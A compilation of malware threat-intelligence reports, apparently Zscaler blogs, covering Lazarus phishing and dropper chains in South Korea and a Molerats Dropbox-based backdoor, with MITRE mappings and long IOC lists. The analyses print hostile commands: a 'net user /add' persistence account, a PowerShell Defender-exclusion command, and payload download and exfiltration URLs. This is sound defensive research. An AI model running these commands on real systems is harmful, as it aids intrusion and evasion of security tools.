+CLSID: D9144DCDE998-4ECA-AB6ADCD83CCBA16D
+Persistence
+T1136.001
+Create
+Account: Local
+Account
+Adversaries created
+a local account to
+maintain access to
+victim systems.
+net user /add user1
+Defense
+Evasion
+T1620
+Reflective
+Code Loading
+Adversaries
+reflectively loaded
+code into a process
+to conceal the
+execution of
+malicious payloads.
+Empire DLL
+Launcher stager
+21/23
+Command
+and Control
+T1104
+Multi-Stage
+Channels
+Adversaries created
+multiple stages to
+obfuscate the
+command-andcontrol channel and
+to make detection
+more difficult.
+Use of different
+Empire stagers
+Command
+and Control
+T1102.002
+Web Service:
+Bidirectional
+Communication
+Adversaries used an
+existing, legitimate
+external Web service
+as a means for
+sending commands
+to and receiving
+output from a
+compromised
+system over the Web
+service channel.
+Microsoft OneDrive
+Empire Server
+Command
+and Control
+T1573.001
+Encrypted
+Channel:
+Symmetric
+Cryptography
+Adversaries
+employed a known
+symmetric
+encryption algorithm
+to conceal command
+and control traffic
+rather than relying
+on any inherent
+protections provided
+by a communication
+protocol.
+AES 256
+Command
+and Control
+T1573.002
+Encrypted
+Channel:
+Asymmetric
+Cryptography
+Adversaries
+employed a known
+asymmetric
+encryption algorithm
+to conceal command
+and control traffic
+rather than relying
+on any inherent
+protections provided
+by a communication
+protocol.
+Indicators of Compromise (IOCs)
+First stage 
+ Excel Downloaders
+40d56f10a54bd8031191638e7df74753315e76f198192b6e3965d182136fc2fa
+f007020c74daa0645b181b7b604181613b68d195bd585afd71c3cd5160fb8fc4
+22/23
+7bd11553409d635fe8ad72c5d1c56f77b6be55f1ace4f77f42f6bfb4408f4b3a
+9052568af4c2e9935c837c9bdcffc79183862df083b58aae167a480bd3892ad0
+Second stage 
+ Downloader DLL
+1ee602e9b6e4e58dfff0fb8606a41336723169f8d6b4b1b433372bf6573baf40
+Third stage 
+ Graphite
+35f2a4d11264e7729eaf7a7e002de0799d0981057187793c0ba93f636126135f
+f229a8eb6f5285a1762677c38175c71dead77768f6f5a6ebc320679068293231
+Fourth stage 
+ DLL Launcher Stager
+25765faedcfee59ce3f5eb3540d70f99f124af4942f24f0666c1374b01b24bd9
+Fifth stage 
+ PowerShell C# Stager
+d5c81423a856e68ad5edaf410c5dfed783a0ea4770dbc8fb4943406c316a4317
+Sixth stage 
+ Empire HTTP Powershell Stager
+da5a03bd74a271e4c5ef75ccdd065afe9bd1af749dbcff36ec7ce58bf7a7db37
+URLs
+hxxps://wordkeyvpload[.]net/keys/Missions Budget Lb.xls
+hxxps://wordkeyvpload[.]net/keys/parliament_rew.xls
+hxxps://wordkeyvpload[.]net/keys/Missions Budget.xls
+hxxps://wordkeyvpload[.]net/keys/TR_comparison.xls
+hxxps://wordkeyvpload[.]net/keys/JjnJq3.html
+hxxps://wordkeyvpload[.]net/keys/iz7hfD.html
+hxxps://wordkeyvpload[.]net/keys/Ari2Rc.html
+hxxps://wordkeyvpload[.]net/keys/OD4cNq.html
+hxxps://wordkeyvpload[.]net/keys/0YOL4.cab
+hxxps://wordkeyvpload[.]net/keys/whmel.cab
+hxxps://wordkeyvpload[.]net/keys/UdOpQ.cab
+hxxps://wordkeyvpload[.]net/keys/D9V5E.cab
+hxxps://wordkeyvpload[.]net/keys/update.dat
+hxxps://wordkeyvpload[.]org/index.jsp
+hxxps://wordkeyvpload[.]org/index.php
+hxxps://wordkeyvpload[.]org/news.php
+hxxps://wordkeyvpload[.]org/admin/get.php
+hxxps://wordkeyvpload[.]org/login/process.php
+Domains
+wordkeyvpload[.]net
+wordkeyvpload[.]org
+jimbeam[.]live
+131.153.96[.]114
+185.117.88[.]19
+94.140.112[.]178
+23/23
+A "Naver"-ending game of Lazarus APT
+zscaler.com/blogs/security-research/naver-ending-game-lazarus-apt
+Zscaler
+s ThreatLabz research team has been closely monitoring a campaign targeting users
+in South Korea. This threat actor has been active for more than a year and continues to
+evolve its tactics, techniques, and procedures (TTPs); we believe with high confidence that
+the threat actor is associated with Lazarus Group, a sophisticated North Korean advanced
+persistent threat (APT) group.
+In 2021, the main attack vector used by this threat actor was credential phishing attacks
+through emails, posing as Naver, the popular South Korean search engine and web portal.
+In 2022, the same threat actor started spoofing various important entities in South Korea,
+including KRNIC (Korea Internet Information Center), Korean security vendors such as
+Ahnlab, cryptocurrency exchanges such as Binance, and others. Some details about this
+campaign were published in this Korean blog, however they did not perform the threat
+attribution.
+Even though the TTPs of this threat actor evolved over time, there were critical parts of their
+infrastructure that were reused, allowing ThreatLabz to correlate the attacks and do the
+threat attribution with a high-confidence level. Our research led us to the discovery of
+command-and-control (C2) domains even before they were used in active attacks by the
+threat actor. This proactive discovery of attacker infrastructure helps us in preempting
+the attacks.
+In this blog, we will share the technical details of the attack chains, and will explain how we
+correlated this threat actor to Lazarus.
+We would like to thank Dropbox for their quick action in taking down the malicious
+accounts used by the threat actor, and for also sharing valuable threat intelligence that
+helped us with threat attribution.
+Attack chains
+This threat actor has frequently updated its attack chains over the last two months. We
+identified three unique attack chains used by the threat actor to distribute the malware
+in emails:
+Figure 1: Attack flow
+Spear phishing emails distribution
+1/11
+During our analysis, we discovered that at least one of the IP addresses (222.112.127[.]9)
+used by the threat actor to log in to the attacker-controlled Dropbox accounts was also used
+to send spear phishing emails to the victims in South Korea.
+Below are examples of two such emails that were sent from the IP address 222.112.127[.]9.
+Note: This IP address is related to KT Corporation, a Korean telecom provider. Multiple
+IP addresses related to KT Corporation were abused by this threat actor during the current
+attack.
+Email #1
+In this email, a macro-based document was sent to the victim.
+Figure 2: Email sent to the victim
+Figure 3 below shows that the decoy content of the document is related to Menlo
+Security company. This is consistent with other decoy contents used by the threat actor. For
+instance, in the document with MD5 hash: 1a536709554860fcc2c147374556205d, the decoy
+content used was related to Ahnlab - a Korea-based computer security company. This is
+done for the purpose of social engineering.
+Figure 3: Decoy content
+Email #2
+In this email, a password protected macro-based XLS file was sent to the victim. The
+password for the file was mentioned in the email body.
+The theme of the file is related to cryptocurrency investments. This theme is consistent with
+other documents sent in this campaign as well. Lazarus Group is known to have a keen
+interest in attacking cryptocurrency users, asset managers, and companies.
+Figure 4: Email sent to the victim
+Figure 5 below shows the sender's IP address in the email headers as indicated by the
+X-Originating-IP field.
+Figure 5: Email header showing originating IP, Sender and Recipient
+Threat attribution
+In order to perform the threat actor attribution, we did a correlation of the below data points.
+1. C2 IP addresses
+2. Attacker-controlled Dropbox accounts
+ registrant email addresses
+2/11
+3. C2 domains
+ registrant email addresses
+4. Passive DNS data
+5. Sender's email address in credential phishing attacks
+6. Sender's IP address in credential phishing attacks
+Note: OSINT information related to the above data points was also used in correlation
+analysis.
+# Correlating different attacks to same threat actor
+As described in the network communication section later in the blog, the Stage-3 binary
+initially connects to an attacker-controlled Dropbox account to fetch a C2 domain which is
+used to perform further network communication.
+In collaboration with Dropbox, we were able to discover the email addresses associated with
+the attacker-controlled Dropbox accounts used during this attack. One such email addresses
+was: peterstewart0326@gmail[.]com
+This same email address was recently mentioned in Prevailion's blog. It was linked to several
+domains which were used during Naver-themed phishing activity.
+Also, according to this blog from 2021, this same email address was also used to send Naverthemed credential phishing attack emails to users in South Korea.
+Correlating the above data points, we can say with a high confidence level that the attack
+chains we have described in this blog are also related to the same threat actor.
+# Attribution to Lazarus APT
+According to the threat infrastructure mapping done in Prevailion blog, the IP address
+23.81.246[.]131 belongs to one of the critical nodes used by the threat actor during Naverthemed phishing activity. One of the domains linked to this IP address was
+navercorpservice[.]com. If we check the passive DNS data for this domain, we find two
+other IP address resolutions: 172.93.201[.]253 in November 2021 and 45.147.231[.]213
+in September 2021.
+The IP address 172.93.201[.]253 was recently used to host the domain disneycareers[.]net which was attributed to Lazarus APT in Google TAG blog.
+Further, what caught our attention was the IP address 45.147.231[.]213. This IP address
+was earlier used by North Korea-based APT threat actor. Recently, we also had a new domain
+resolution alert for this IP address as part of our C2 infrastructure tracking. If we pivot on the
+3/11
+passive DNS data for this IP address, we can see that the domain:
+www.devguardmap[.]org was hosted on this IP address in Jan 2021 which was attributed
+to Lazarus APT as per this tweet from ESET and Google TAG blog.
+Correlating all the above data points, we reached the conclusion that the attack-chains we
+discovered are related to Lazarus threat actor. To the best of our knowledge, at the time of
+writing, this threat actor attribution has not been publicly documented yet.
+Technical analysis
+For the purpose of technical analysis we will consider the attack chain starting with a
+Compiled HTML file having MD5 210db61d1b11c1d233fd8a0645946074.
+[+] Stage 1: Compiled HTML file
+The CHM file contains a malicious binary embedded inside it. At runtime, this will be
+dropped on the filesystem in the path: C:\\programdata\\chmtemp\\chmext.exe
+and executed.
+The code responsible for extracting, dropping and executing the binary is present inside
+1hh.html as shown below.
+Figure 6: HTML code dropping and executing the binary
+[+] Stage 2: Dropper
+The dropper on execution performs the following operations:
+1. Detects sleep patching to identify controlled execution environment such as Sandbox
+execution
+2. Checks the name of all the running processes and terminates if it finds a process running
+with the name "v3l4sp.exe". This process name corresponds to the security software
+developed by Ahnlab (a popular and frequently used security vendor in South Korea).
+3. Creates file in the path "C:\ProgramData\Intel\IntelRST.exe"
+4. XOR decodes the embedded PE from a hardcoded address
+5. Writes the decoded PE to the file created in Step-3
+6. Modifies PEB to masquerade itself as explorer.exe
+7. Executes IntelRST.exe
+8. Creates RUN registry entry for persistence
+4/11
+Value: IntelCUI
+Data: C:\ProgramData\Intel\IntelRST.exe
+[+] Stage 3: Dropped binary
+The file IntelRST.exe dropped by the Stage-2 dropper is an ASpacked binary. On execution it
+performs the following operations:
+1. Similar to the dropper binary it tries to detect sleep patching to identify controlled
+execution environment
+2. Collects machine information and stores using the specified format which is later
+exfiltrated and used as machine identifier.
+String format:
+[decoded_string]_[username]_[volume_serial_number_post_8_bytes]
+decoded_string: (encoded string) ^ (key) [encoded_string_byte_offset%keySize]
+username: GetUserName()
+volume_serial _number: Using DeviceIoControl with
+IOCTL_STORAGE_QUERY_PROPERTY (0x2d1400)
+3. Checks name of all the running processes and terminates if there is some process running
+with the name "v3l4sp.exe" or "AYAgent.aye" or "IntelRST.exe"
+4. If running with administrator privileges then it executes a PowerShell command using
+cmd.exe to add WindowsDefender exclusion.
+PowerShell command: Powershell -Command Add-MpPreference -ExclusionPath
+"C:\ProgramData\Intel\IntelRST.exe
+5. Finally it starts the network communication
+[+] Network communication
+The network communication occurs in the following sequence:
+1. Send a GET request to the URL
+"https://dl.dropboxusercontent.com/s/k288s9tu2o53v41/zs_url.txt?dl=0".
+2. Query the file size and send another network request to read the file content.
+5/11
+Note: The file content points to the C2 domain to be used for rest of the network
+communication.
+3. Using the extracted C2 domain, send a POST request to the path "/post.php" and exfiltrate
+collected user information.
+Exfiltrated user information format:
+uid={string_generated_in_Step-2_of_Stage3_binary}&avtype=%d&majorv=%d&minorv=%d
+4. Finally send a GET request to the path "/{decoded_string_from_step-2_of_Stage3_binary}/{formated_string_from_step-2_of_Stage-3_binary}/fecommand.acm"
+Note: At the time of analysis we didn't get any active response from the C2 server for the
+above network request.
+Zscaler Cloud Sandbox detection
+# Document detection
+# Dropper detection
+Indicators of compromise
+[+] Hashes
+Description
+37505b6ff02a679e70885ccd60c13f3b
+Document
+c156572dd81c3b0072f62484e90e47a0
+d7f6b09775b8d90d79404eda715461b7
+Document (Template based)
+a0f565f7f579f0d397a42db5a95d4ae8
+e2e5644e77e75e422bde075f409d882e
+37b7415442ab8ca01e08b2d7bfe809e2
+d19dd02cf375d0d03f557556d5207061
+e3ffda448df223b240a20dae41e20cef
+6/11
+e732bc87033a935bd2d3d56c7772641b
+825730d9dd22dbae7f2bd89131466415
+c32f40f304777df7cfab428a54bb818b
+b587851d8a42fc8c23f638bbc2eb866b
+4382384feb5ad6b574f68e431006905e
+493f59b6933e59029bf3106fd4a2998d
+bdfb5071f5374f5c0a3714464b1fa5e6
+1769a818548a0b52c7be2a0a213a9384
+7b07cd6bb6b5d4ed6a2892a738fe892b
+9775ef6514916977d73e39a6b09029bc
+44be20c67a80af8066f9401c5bee43cb
+15a7125fe9e629122e1d1389062af712
+1fd8fef169bf48cfdcf506151264128c
+9ad00e513364e9f44f1b6712907cba9b
+1a536709554860fcc2c147374556205d
+a2aca7b66f678b85fc7b4015af21c5ee
+bd416ea51f94d815b5b5b66861cbdcc5
+ecb2d07ede5a401c83a5fca8e00fa37a
+db0483aced77a7db130a6100aef67967
+c0b24dc8f53227ce0c64439b302ca930
+bb9ee3a6504fbf6a5486af04dbbb5da5
+ce00749c908de017010055a83ac0654f
+2677f9871cb340750e582cb677d40e81
+7/11
+90f2b7845c203035f0d7096aa28dda83
+Template
+044e701e8d288075b0fb6cd118aa94db
+556abc167348fe96abfbf5079c3ad488
+0ef32b48f6ca3a1a22ab87058b3d8aa0
+4548c7f157d300ec39b1821db4daa970
+430d944786e05042cdbe1d795ded2199
+96d86472ff283f6959b7a779f004dfba
+137910039cb94c0301154f3d1ec9ba29
+728b908e90930c73edeb1bf58b6a3a64
+1559aeb8e464759247e4588cb6a09877
+6df608342938f0d30a058c48bb9d8d4d
+78aa7e785a96f2826ee09a1aa9ab776e
+0c2dde41d508941cf215fe8f1f7e03a7
+783e7c3ba39daa28301b841785794d76
+a225b7aff737dea737cd969fb307df23
+210db61d1b11c1d233fd8a0645946074
+Compiled HTML (CHM)
+e25ac08833416b8c7191639b60edfa21
+114f22f3dd6928bed5c779fa918a8f11
+[+] File names
+Original Name
+Translated Name
+8/11
+ (50).chm
+Guide to confirmed cases and living with them
+(50).chm
+_1900002.chm
+Meta Kong's Guide_190002.chm
+NFT Metakongz Minting.chm
+202204_
+.docx
+NFT Metakongz Minting.chm
+202204_Cryptocurrency_Investment Planning.docx
+incident report.docx
+.docx
+Masanhappo-gu 40 billion loan request.docx
+ 400
+.docx
+4 billion_fund investment contract.docx
+.docx
+Emergency Disaster Subsidy Application Form.docx
+.docx
+).docx
+Daehan Mine Development Co., Ltd. docx
+cryptos_login.docx
+.docx
+[+] C2 domains
+naveicoipg[.]online
+naveicoipf[.]online
+naveicoipc[.]tech
+naveicoipa[.]tech
+naveicoipe[.]tech
+naveicoipd[.]tech
+naveicoipep[.]tech
+naveicoiph[.]online
+naveicoipg[.]tech
+naveicoipf[.]tech
+naveicoipb[.]tech
+naveicoipj[.]online
+naveicoipi[.]online
+naveicoipe[.]online
+naveicoipd[.]online
+naveicoipc[.]online
+naveicoipb[.]online
+naveicoipa[.]online
+naveicoipc[.]com
+naveicoipa[.]com
+naveicoip[.]com
+9/11
+naveicoiph[.]tech
+naveicoip[.]tech
+naveicorp[.]com
+copycatfrag[.]store
+knightsfrag[.]store
+parfumeparlour[.]store
+# New domain resolutions for the IP 23.81.246[.]131
+navernidb[.]link
+navermailteam[.]online
+navermailservice[.]com
+mailservicecorp[.]online
+mailhelp[.]online
+mailcustomerservice[.]site
+cloudcentre[.]xyz
+naverservice[.]host
+mailserviceteam[.]email
+navermcorp[.]com
+naverserviceteam[.]com
+naversecurityteam[.]com
+navermanageteam[.]com
+navermailmanage[.]com
+navercorpservice[.]com
+navermailcorp[.]com
+naversecurityservice[.]online
+navermailservice[.]online
+navercorp[.]live
+navercscorp[.]com
+navermanage[.]live
+navermanage[.]com
+navernidmail[.]com
+noreplya[.]xyz
+[+] Emails
+# Dropbox accounts associated email addresses
+peterstewart0326@gmail[.]com
+kimkl0222@hotmail[.]com
+laris081007@hotmail[.]com
+[+] PDB path
+10/11
+D:\Works\PC_2022\ACKS_2012\fengine\Release\fengine.pdb
+11/11
+New espionage attack by Molerats APT targeting users in
+the Middle East
+zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east
+Introduction
+In December 2021, the ThreatLabz research team identified several macro-based MS office
+files uploaded from Middle Eastern countries such as Jordan to OSINT sources such as VT.
+These files contained decoy themes related to geo-political conflicts between Israel and
+Palestine. Such themes have been used in previous attack campaigns waged by the Molerats
+APT.
+During our investigation we discovered that the campaign has been active since July 2021.
+The attackers only switched the distribution method in December 2021 with minor changes
+in the .NET backdoor. In this blog, we will share complete technical analysis of the attack
+chain, the C2 infrastructure, threat attribution, and data exfiltration.
+The targets in this campaign were chosen specifically by the threat actor and they included
+critical members of banking sector in Palestine, people related to Palestinian political
+parties, as well as human rights activists and journalists in Turkey.
+ThreatLabz observed several similarities in the C2 communication and .NET payload
+between this campaign and the previous campaigns attributed to the Molerats APT group.
+Additionally, we discovered multiple samples that we suspect are related to Spark backdoor.
+We have not added the analysis of these samples in this blog, but they were all configured
+with the same C2 server, which we have included in the IOCs section.
+1/22
+Threat attribution
+We have attributed the attack to Molerats APT group based on following observations:
+1. Use of open-source as well as commercial packers for the backdoor (ConfuserEx,
+Themida)
+2. Targeting middle-east region
+3. Using Dropbox API for entire C2 communication
+4. Using RAR files for backdoor delivery as well as in later stages
+5. Using other legit cloud hosting services like Google Drive to host the payloads
+6. Overlap of domain SSL Certificate thumbprint observed on current attack infrastructure
+with domains used by Molerats APT group in the past
+7. Overlap of Passive DNS resolution of domain observed on current attack infrastructure
+with the IP used by Molerats APT group in the past
+Attack flow
+Figure 1 below illustrates the new attack chain.
+Figure 1: Attack chain
+Decoy content
+MD5: 46e03f21a95afa321b88e44e7e399ec3
+2/22
+Note: Please refer Appendix section for additional decoy contents
+3/22
+Technical analysis
+For the purpose of technical analysis we will use the document with MD5:
+46e03f21a95afa321b88e44e7e399ec3
+[+] Stage-1: Macro code
+The macro code is not complex or obfuscated. It simply executes a command using cmd.exe
+which in turn performs the following operations:
+1. Executes a PowerShell command to download and drop the Stage-2 payload from the
+URL 
+http://45.63.49[.]202/document.html
+ to the path
+C:\ProgramData\document.htm
+2. Renames document.htm to servicehost.exe
+3. Executes servicehost.exe
+Figure 2 below shows the relevant macro code
+Figure 2: Macro code
+[+] Stage-2: servicehost.exe
+# Static analysis
+Based on static analysis, we can see that the binary is .NET-based and is obfuscated using
+the ConfuserEx packer. It masquerades itself as a WinRAR application by using the icon and
+other resources (which also contains static strings) from the legit WinRAR application.
+Figure 3: Shows the binary icon and other static information
+# Dynamic analysis
+The main function of the binary is the standard ConfuserEx function which is responsible
+for loading the runtime module "koi'' that is stored in encrypted form using a byte array.
+Once the module is loaded, the main function resolves the module's entry point function
+using the metadata token and invokes it by providing required parameters.
+Figure 4: Code snippet loading the runtime module and invoking it
+s entry point function
+4/22
+The runtime module ("koi") on analysis is found to be a backdoor. Before calling the main
+function of the module, the code from within the constructor is called which creates a new
+thread that regularly monitors the presence of a debugger.
+5/22
+Figure 5: Code snippet of debugger monitoring function
+Once the debugger monitor thread is created we get the code execution flow to the main
+function of the module which ultimately leads to the backdoor execution. Within the main
+function the backdoor performs following operations:
+1. Collects the machine manufacture and machine model information using WMI which is
+used for execution environment checks and is later exfiltrated to C2 server.
+2. Checks if it should execute in the current execution environment.
+3. Creates a mutex with the name of executing binary.
+4. Checks if the mutex is created successfully.
+5. Determines if it is executed for the first time using the registry key value
+"HKCU/Software/{name_of_executing_binary}/{name_of_executing_binary}".
+6. If the registry key doesn't exist, the code flow goes via a mouse check function which
+executes the code further only if it detects a change in either of the mouse cursor
+coordinates. In the end, the mouse check function also creates the same registry key.
+Figure 6: Main function of backdoor
+[+] Network communication
+From the main function the final code flow reaches the function which starts the network
+communication. Since the backdoor uses Dropbox API for entire C2 communication and
+data exfiltration, it first extracts the primary Dropbox account token which is stored in
+encoded form within the binary. Figure 7 below describes the format and shows the encoded
+string that contains the Dropbox account token.
+Figure 7: Encoded string
+Executing further the backdoor collects the following information from victim machine:
+6/22
+1. Machine IP address: By making a network request to 
+https://api.ipify.org
+2. UserName: From the environment variable
+3. HostName: Using the API call Dns.GetHostName()
+The collected information is then processed and stored inside a variable named
+UserInfo
+ by performing following operations:
+1. Concatenation (IP+UserName+HostName)
+2. Base64 string encode
+3. Substitution (Substitute 
+ with 
+4. String reverse
+Next the backdoor sends following network requests in the specified sequence using the
+Dropbox API and correspondingly performs any required operations:
+1. Create Folder:
+7/22
+Create a folder inside the root directory where the folder name is the value of UserInfo
+variable
+Note: The created folder acts as a unique identifier for a machine considering the fact that
+the machine IP remains static.
+2. Create File:
+Create a file inside the newly created folder where the file name is the Machine IP and the
+data it stores is the information collected in Step-1 of the main function.
+3. List Content:
+List the content of victim specific folder and delete files where the file name length is 15
+4. List Content:
+List the content of root directory (which is attacker controlled) and extract the following
+information:
+a) File name of any hosted RAR archive
+b) File name of any hosted exe (Which is found to be the legitimate RAR command-line
+utility and is used to extract the downloaded RAR archive in case the machine doesn't
+already have any RAR archive supporting application)
+c) File name of any hosted pdf or doc file (Used as decoy document)
+d) File name of any non specific file type (Based on our analysis it contains the secondary
+Dropbox account token that is used for file exfiltration from victim machine)
+Note: The above extracted information is stored locally and is used wherever required.
+Finally, if the backdoor executed for the first time, it downloads and opens the hosted pdf or
+doc file and then calls two other functions where the first function creates a thread that
+continuously communicates with the Dropbox account to fetch and execute the C2
+commands while the second function creates a thread that downloads and executes the RAR
+archive using the information extracted earlier.
+[+] C2 Commands
+The backdoor creates a file inside the victim specific folder on Dropbox which is used to
+fetch C2 commands. The file name is a random string of 15 characters.
+The C2 commands have following format:
+[command code]=[Command arguments separated using 
+8/22
+The backdoor uses command codes instead of plaintext strings to determine the action to
+be performed.
+Table below summarizes the supported command codes:
+Command code
+Action performed
+Run specified command
+Take snapshot and upload
+Send list of files from specified directories
+Upload files
+Download and execute the RAR archive
+C2 infrastructure analysis
+While monitoring the IPs used during the current attack we observed the domain
+"msupdata.com" started to resolve to the IP 45.63.49[.]202 from 27-12-2021. We
+found two Historical SSL Certificates associated with this domain. Pivoting on the SSL
+Certificate with thumbprint "ec5e468fbf2483cab74d13e5ff6791522fa1081b" we
+found domains like "sognostudio.com", "smartweb9.com" and others which were all
+attributed to Molerats APT group during past attacks.
+Additionally, the subdomain 
+www.msupdata.com
+ also has a Passive DNS resolution to
+IP 185.244.39[.]165 which is also associated with Molerats APT group in the past.
+Note: We didn't observe any activity related to the domain "msupdata.com" or it
+subdomain 
+www.msupdata.com
+ until this blog release.
+Pivot on the Dropbox accounts
+Based on our analysis at least five Dropbox accounts are being used by the attacker. While
+investigating the Dropbox accounts we found that the attacker used following information
+during account registration.
+Note: Dropbox has confirmed the takedown of these accounts associated with the Molerats
+APT group.
+Account 1:
+9/22
+Name: Adham gherbawi
+Country: NL (Netherlands)
+Email: adham.gharbawi@gmail[.]com
+Account 2:
+Name: alwatan voice
+Country: NL (Netherlands)
+Email: alwatanvoiceoffice@gmail[.]com
+Account 3:
+Name: adham gharbawi
+Country: NL (Netherlands)
+Email: adham.ghar.bawi@gmail[.]com
+Account 4:
+Name: pal leae
+Country: PS (Palestine)
+Email: palinfoarabic@gmail[.]com
+Account 5:
+Name: pla inod
+Country: PS (Palestine)
+Email: palinfo.arabic@gmail[.]com
+Also, while analyzing the exfiltrated data from Dropbox accounts we found a screenshot of
+the attacker machine which was likely uploaded while the attacker was testing the malware.
+We correlated a number of artifacts and patterns with the file names visible from the
+snapshot to those used during the real attack. Moreover, from the snapshot the attacker
+seems to be using a simple GUI application to sync with the Dropbox account and display
+the victims list. In the victims list, the user name "mijda" is also present which matches
+with the name of document creator 
+mij daf
+ for all the documents we found during this
+attack.
+Figure 8: Screenshot of attacker machine
+Additionally, we discovered that the attacker machine was configured with the IP
+185.244.39[.]105 which is located in the Netherlands and is associated with the VPS
+service provider "SKB Enterprise B.V.". Interestingly, this IP (185.244.39[.]105) is
+also located in the same subnet as the IP 185.244.39[.]165 which was used for C2
+communication and domain hosting in the past by Molerats APT group.
+10/22
+Pivot on Google drive link
+Since the attacker also used Google Drive to host the payload in one of the attack chains, we
+tried to identify the associated Gmail account. Based on our analysis the attacker used
+following information for Gmail account:
+Account name: Faten Issa
+Email: issafaten584@gmail[.]com
+Old attack chain
+As per our analysis the old attack chain was used from 13th July 2021(Start of campaign) to
+13th Dec 2021.
+Figure 9 below illustrates the old attack chain.
+Figure 9: Attack chain
+The major difference between the new attack chain and the old attack chain is seen in the
+backdoor delivery. Although we are not sure how these RAR/ZIP files were delivered but
+considering the past attacks they were likely delivered using Phishing PDFs. Additionally,
+we found a minor variation in the way the backdoor extracted the primary Dropbox account
+token. In the old attack chain the backdoor fetched the encoded string containing the
+11/22
+primary Dropbox account token from attacker-hosted content on 
+justpaste.it
+. Figure 10
+below shows the attacker-hosted encoded string that contains the Dropbox account token
+and also describes the corresponding format.
+Figure 10: Attacker-hosted encoded string
+Zscaler Sandbox Detection
+[+] Detection of the macro-based Document
+[+] Detection of the macro-based PowerPoint file
+[+] Detection of the payload
+In addition to sandbox detections, Zscaler
+s multilayered cloud security platform detects
+indicators related to Molerats APT group at various levels.
+12/22
+Win32.Trojan.MoleratsAPT
+PDF.Trojan.MoleRatsAPT
+13/22
+MITRE ATT&CK TTP Mapping
+Tactic
+Technique
+T1566.001
+Spear phishing
+Attachment
+Uses doc based attachments with VBA macro
+T1204.002
+User Execution:
+Malicious File
+User opens the document file and enables the VBA
+macro
+T1059.001
+Command and
+Scripting interpreter:
+PowerShell
+VBA macro launches PowerShell to download and
+execute the payload
+T1140
+Deobfuscate/Decode
+Files or Information
+Strings and other data are obfuscated in the payload
+T1082
+System Information
+Discovery
+Sends processor architecture and computer name
+T1083
+File and Directory
+Discovery
+Upload file from the victim machine
+14/22
+T1005
+Data from Local
+System
+Upload file from victim machine
+T1567.002
+Exfiltration to Cloud
+Storage
+Data is uploaded to Dropbox via api
+T1113
+Screen capture
+The C2 command code "2" corresponds to taking a
+screenshot and uploading to attacker-controlled
+Dropbox account
+Indicators of compromise
+[+] Hashes
+File Name
+Description
+46e03f21a95afa321b88e44e7e399ec3
+15-12.doc
+Document
+5c87b653db4cc731651526f9f0d52dbb
+11-12.docx
+Document
+105885d14653932ff6b155d0ed64f926
+report2.dotm
+Template
+601107fc8fef440defd922f00589e2e9
+4-1.doc
+Document
+9939bf80b7bc586776e45e848ec41946
+19-12.pptm
+054e18a1aab1249f06a4f3e661e3f38a
+.pptm
+e72d18b78362e068d0f3afa040df6a4c
+wanted persons.ppt
+ebc98d9c96065c8f1c0f4ce445bf507b
+servicehost.exe
+(Confuser
+packed)
+c7271b91d190a730864cd149414e8c43
+su.exe
+(Themida
+packed)
+15/22
+00d7f155f1a9b29be2c872c6cad40026
+servicehost.exe
+(Confuser
+packed)
+2dc3ef988adca0ed20650c45735d4160
+cairo hamas office.rar
+a52f1574e4ee4483479e9356f96ee5e3
+.exe
+(Confuser
+packed)
+b9ad53066ab218e40d61b299bd2175ba
+details.rar
+f054f1ccc2885b45a71a1bcd0dd711be
+.exe
+(Themida
+packed)
+b7373b976bbdc5356bb89e2cba1540cb
+emergency.rar
+a52f1574e4ee4483479e9356f96ee5e3
+2021-09-16 
+.exe
+(Confuser
+packed)
+8884b0d29a15c1b6244a6a9ae69afa16
+excelservice.rar
+270ee9d4d22ca039539c00565b20d2e7
+idf.rar
+8debf9b41ec41b9ff493d5668edbb922
+Ministry of the Interior
+statement 26-9-2021.exe
+(Themida
+packed)
+d56a4865836961b592bf4a7addf7a414
+images.rar
+a52f1574e4ee4483479e9356f96ee5e3
+100 
+.exe
+(Confuser
+packed)
+59368e712e0ac681060780e9caa672a6
+meeting.rar
+16/22
+a52f1574e4ee4483479e9356f96ee5e3
+.exe
+(Confuser
+packed)
+99fed519715b3de0af954740a2f4d183
+ministry of the interior 23-92021.rar
+8debf9b41ec41b9ff493d5668edbb922
+Ministry of the Interior
+statement 23-9-2021.exe
+(Themida
+packed)
+bd14674edb9634daf221606f395b1e1d
+moi.rar
+a52f1574e4ee4483479e9356f96ee5e3
+.exe
+(Confuser
+packed)
+04d17caf8be87e68c266c34c5bd99f48
+namso.rar
+c7271b91d190a730864cd149414e8c43
+namso.exe
+(Themida
+packed)
+217943eb23563fa3fff766c5ec538fa4
+rafah passengers.rar
+a52f1574e4ee4483479e9356f96ee5e3
+.exe
+(Confuser
+packed)
+fef0ec9054b8eff678d3556ec38764a6
+sa.rar
+a52f1574e4ee4483479e9356f96ee5e3
+.exe
+(Confuser
+packed)
+32cc7dd93598684010f985d1f1cea7fd
+shahid.rar
+a52f1574e4ee4483479e9356f96ee5e3
+100 
+.exe
+(Confuser
+packed)
+17/22
+1dc3711272f8e9a6876a7bccbfd687a8
+sudan details.rar
+f054f1ccc2885b45a71a1bcd0dd711be
+.exe
+(Themida
+packed)
+da1d640dfcb2cd3e0ab317aa1e89b22a
+tawjihiexam.rar
+31d07f99c865ffe1ec14c4afa98208ad
+Israel-Hamas Prisoner
+Exchange Progress.exe
+(Confuser
+packed)
+b5e0eb9ca066f5d97752edd78e2d35e7
+.rar
+a52f1574e4ee4483479e9356f96ee5e3
+.exe
+(Confuser
+packed)
+b65d62fcb1e8f7f06017f5f9d65e30e3
+.rar
+a52f1574e4ee4483479e9356f96ee5e3
+.exe
+(Confuser
+packed)
+933ffc08bcf8152f4b2eeb173b4a1e26
+israelian attacks.zip
+4ae0048f67e878fcedfaff339fab4fe3
+Israelians Attacks during the
+years 2020 to 2021.exe
+(Confuser
+packed)
+1478906992cb2a8ddd42541654e9f1ac
+patient satisfaction survey.zip
+31d07f99c865ffe1ec14c4afa98208ad
+Patient Satisfaction Survey
+Patient Satisfaction Survey.exe
+(Confuser
+packed)
+33b4238e283b4f6100344f9d73fcc9ba
+.zip
+18/22
+4ae0048f67e878fcedfaff339fab4fe3
+.exe
+(Confuser
+packed)
+1f8178f9d82ac6045b6c7429f363d1c5
+.zip
+4ae0048f67e878fcedfaff339fab4fe3
+.exe
+(Confuser
+packed)
+c7d19e496bcd81c4d16278a398864d60
+.zip
+4ae0048f67e878fcedfaff339fab4fe3
+.exe
+(Confuser
+packed)
+1bae258e219c69bb48c46b5a5b7865f4
+.zip
+4ae0048f67e878fcedfaff339fab4fe3
+.exe
+(Confuser
+packed)
+547334e75ed7d4eea2953675b07986b4
+.zip
